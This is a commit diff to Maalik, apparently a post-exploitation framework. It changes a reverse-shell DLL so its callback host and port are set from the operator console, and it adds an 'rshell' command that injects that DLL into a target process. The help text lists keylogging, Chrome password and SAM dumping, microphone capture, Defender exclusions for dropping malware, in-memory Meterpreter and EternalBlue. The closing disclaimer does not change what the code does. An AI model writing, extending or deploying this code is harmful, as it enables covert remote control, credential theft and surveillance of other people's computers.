find bugsSgit add .

Author: quantumcore

payloads/makefile

@@ -19,7 +19,7 @@ else
 	DEL += rm
 endif
 
-all: reflective_default ncshell elevate ChromeDump keylogger capturemic
+all: reflective_default ncshell runasadmin ChromeDump keylogger capturemic
 
 reflective_default:
 	$(COMPILER) ReflectiveDll.c ReflectiveLoader.c -c -m32

payloads/ncshell.c

@@ -3,6 +3,7 @@
 //===============================================================================================//
 
 #include "ReflectiveLoader.h"
+#include "FileTunnel.h"
 #include <stdio.h>
 #include <string.h>
 #include <winsock2.h>
@@ -11,6 +12,20 @@
 extern HINSTANCE hAppInstance;
 //===============================================================================================//
 
+void split(char* src, char* dest[5], const char* delimeter) {
+    // Only split if delimeter does exist in the source string
+    if (strstr(src, delimeter) != NULL)
+    {
+        int i = 0;
+        char* p = strtok(src, delimeter);
+        while (p != NULL)
+        {
+            dest[i++] = p;
+            p = strtok(NULL, delimeter);
+        }
+    }
+}
+
 DWORD WINAPI shell()
 {
     do {
@@ -39,10 +54,12 @@ DWORD WINAPI shell()
             return 1;
         }
 
+        char* values[3];
+        split(GetInputOutput(), values, ":");
         memset(&server, 0, sizeof(server));
         server.sin_family = AF_INET;
-        server.sin_port = htons(4942);
-        server.sin_addr.s_addr = inet_addr("192.168.0.105");
+        server.sin_port = htons(atoi(values[1]));
+        server.sin_addr.s_addr = inet_addr(values[0]);
 
         res = WSAConnect(sock, (struct sockaddr*)&server, sizeof(server), NULL, NULL, NULL, NULL);
         if (res == SOCKET_ERROR)

pycore/core.py

@@ -740,6 +740,15 @@ def GetPorts(target):
                     print("-------------------------")
                     print(Style.BRIGHT + Fore.LIGHTWHITE_EX + "[+] Saved in 'downloads/"+credfile+"'")
 
+                elif(main == "rshell"):
+                    host = prompt("[+] Reverse Host : ")
+                    port = prompt("[+] Reverse Port : ")
+                    if(len(host) > 0):
+                        if(len(port) > 0):
+                            SendPayloadCommand(host+":"+port)
+                            DLLTransfer("payloads/ncshell.dll", setting('inject_process'))
+                            self.WaitForReply()
+                            RemovePayloadCommand()
                 elif(main == "keylog_start"):
                     DLLTransfer("payloads/keylogger.dll", setting('inject_process'))
 
@@ -1156,15 +1165,28 @@ def list_bots():
                 elif(x == "help"):
                     print(Style.BRIGHT + Fore.GREEN + 
                         """
-                        Maalik
+                        Maalik Framework
                         ---------------
                         -> Commands : 
                         -. help - Print this help message.
                         -. sessions - View online clients.
                         -. session - interact with a session.
-                        -. build - Build FHDAWN.
+                        -. build - Build Fhdawn.
                         -. kill - Kill session.
                         -. exit - Exit Maalik.
+
+                        Use the help command inside a session to view Session specific help.
+
+                        ~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=
+                        Created by : QuantumCore (Fahad) 
+                        Website : https://quantumcored.com
+                        Email : quantumcore@protonmail.com
+                        Discord : https://discordapp.com/invite/8snh7nx
+                        Github Repository : https://github.com/quantumcored/maalik
+
+                        If you find any bugs, Please Report them here : https://github.com/quantumcored/maalik/issues
+                        ~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=
+                        The Developer is not responsible for any misuse of Damage caused by the program. This is created only to innovate Network Security and YOU.
                         """
                         + Style.RESET_ALL)
                 elif(x == "build"):

pycore/other.py

@@ -57,8 +57,10 @@
 
 HELP
 ----------------------------------
+
 -> Session Core Commands :
 ----------------------------------
+-. help - Print this help message.
 -. show options - View Maalik Attack Options.
 -. show targets - View Scanned Targets.
 -. set target < target > - Set a Target to Attack.*
@@ -69,34 +71,33 @@
 -. clear_ports - Clear all Ports.
 -. run - Start Pivoting Tunnel.
 -. run autoblue - Automatically runs Eternal Blue on the set Target.
+-. help - Print this help message.
+
 
-----------------------------------
 -> Session Commands :
 ----------------------------------
--. help - Print this help message.
 -. ls - List files in current directory.
 -. cd < dir > - Go in another directory.
--. osinfo - systeminfo output.
 -. delete - delete file.
+-. download - Download file.
+-. upload - Upload file.
+-. osinfo - systeminfo output.
 -. shell - Reverse shell.
--. clientinfo - View basic information of FHDAWN.
+-. clientinfo - View basic information of Fhdawn.
 -. port_scan - Scan for open ports on a Host.
+-. network_scan - Scan the network.
 -. tasklist - View Running Processes.
 -. taskkill - Kill Running Process.
 -. host_sweep - Get all hostnames of scanned targets or specific IP (use -h to specify ip).
--. upload - Upload file.
--. download - Download file.
--. dllinject - Reflective DLL Injection. Load your own DLL.
--. network_scan - Scan the network.
--. (UAC)* windefender_exclude - Add Windows Defender Exclusions.
-    - To Upload Malware, add Exclusion and upload malware to that directory.
+-. dllinject - Reflective DLL Injection. Load your own Reflective DLL.
+-. windefender_exclude - Add Windows Defender Exclusions.
+    - To Upload Malware, add Exclusion and upload malware to that directory, Not recommended uploading to disk. Load Reflective Dll instead.
 -. screenshot - Take Screenshot.
 -. psinfo - Get process information.
 -. isadmin - Check if FHDAWN has administrator rights.
 -. geolocate - Get Geolocation.
 
-----------------------------------
-POST Exploitation
+CMD POST Exploitation Commands :
 ----------------------------------
 -. {cmd} netuser - List users.
 -. {cmd} systeminfo - View full System Information.
@@ -113,14 +114,17 @@
 -. {cmd} portfwd - Forward a PORT on the Remote PC.
 -. {cmd} portfwd_reset - Reset all forwarded Ports.
 -. {cmd} samdump - Dump SAM database.
+
+DPS : 
+----------------------------------
 -. {dps} rshell - Netcat Reverse Shell.
--. {dps} bshell - (UAC)* Netcat Bind Shell.
 -. {dps} dropmsf - In Memory Meterpreter.
 -. {dps} runasadmin - Run an application as Administrator.
 -. {dps} chromedump - Dump Google Chrome Passwords.
 -. {dps} keylog_start - Start Capturing keystrokes.
 -. {dps} keylog_stop - Stop Capturing keystrokes, And dump keylogs.
 -. {dps} capturemic - Record microphone.
+
 """.format(dps = Style.BRIGHT  + Fore.GREEN+ "(DPS)" + Style.RESET_ALL , cmd = Style.BRIGHT + Fore.BLUE +"(CMD)" + Style.RESET_ALL)
 
 def clear_screen():